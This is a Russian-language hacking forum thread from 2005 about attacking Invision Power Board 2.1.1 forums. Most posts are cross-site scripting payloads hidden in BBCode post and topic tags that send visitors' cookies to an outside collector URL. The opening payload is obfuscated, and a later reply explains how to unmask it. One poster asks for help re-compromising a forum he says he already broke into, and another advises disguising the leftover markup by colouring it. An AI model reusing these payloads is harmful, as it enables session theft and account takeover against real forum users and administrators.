Форумы IPB v2.1.1.

Discussion in 'Уязвимости CMS/форумов' started by slime, 11 Dec 2005.

  1. slime

    slime New Member

    Joined:
    8 Dec 2005
    Messages:
    30
    Likes Received:
    1
    Reputations:
    -2
    есть ли какие нить способы хакать по мимо загрузки аватаров со скриптами???
    Code:
    [post=1000[topic=wj style=background&*#58;url(javascript*:document.image*s&#9*1;&#*49;].*src=*"*&#104*;&#11*6;&#1*16;&*#112*;&#5*8;&#*47;&#*47;&#*97;&#*110;*&#116*;&#1*05;&#*99;&*#104;*a*&#11*6;&#*46;&#*114;&*#117*;&#4*7;&#9*9;&#1*03;&*#105;*&#45*;&#98*;&#10*5;&#1*10;&*#47;s.j&*#112;g?"+document.cookie); ][/topic]]
    
    вот такое вот ^^^ не прокатывает... еще есть варианты?
     
  2. Otaku

    Otaku Elder - Старейшина

    Joined:
    24 Jul 2005
    Messages:
    279
    Likes Received:
    73
    Reputations:
    2
    PHP:
     [email]wj@wj[url=http://www.wj.com`=`][/url].com[/email]`style=`background:url(javaSCript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`
     
  3. FQziT

    FQziT Elder - Старейшина

    Joined:
    3 Nov 2005
    Messages:
    543
    Likes Received:
    156
    Reputations:
    206
    HTML:
    [post=1000[topic=target style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ]       [/topic]][/post]
     
  4. Astro

    Astro Elder - Старейшина

    Joined:
    29 Jul 2005
    Messages:
    29
    Likes Received:
    2
    Reputations:
    3
    Хм, похожая проблема, взломанный мной форум 2.0.4. прапгрейдели до 2.1.1., никакие вышепредложенные варианты не действуют, са уже перепробвал, никто не может помочь советом?
     
  5. FQziT

    FQziT Elder - Старейшина

    Joined:
    3 Nov 2005
    Messages:
    543
    Likes Received:
    156
    Reputations:
    206
    Смотри тут: http://forum.antichat.ru/thread11493.html
    И пользуйся поиском по форуму!
    ЗЫ: В коде, который привел здесь slime в первом сообщении, нужно поудалять звездочки.
     
  6. WizART

    WizART Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    267
    Likes Received:
    11
    Reputations:
    0
    Вот этот попробуй...
    [post=1000[topic=target style=background:url(javascript:document.src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/topic]][/post]
    у меня на одном форуме прокатило, но остается '> маскируй его цветом
     
  7. Astro

    Astro Elder - Старейшина

    Joined:
    29 Jul 2005
    Messages:
    29
    Likes Received:
    2
    Reputations:
    3
    Звездочки раньше догадался убрать, не действует. Из всех предложенных вариантов ничего не помогает....
    Наверное админ самые последние заплатки поставил.
     
    #7 Astro, 18 Dec 2005
    Last edited: 18 Dec 2005
  8. WizART

    WizART Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    267
    Likes Received:
    11
    Reputations:
    0
    Скорее всего да, или фильты нужные наваял, но полюбому дыр дофига, изучай, в бб-тегах и до жопы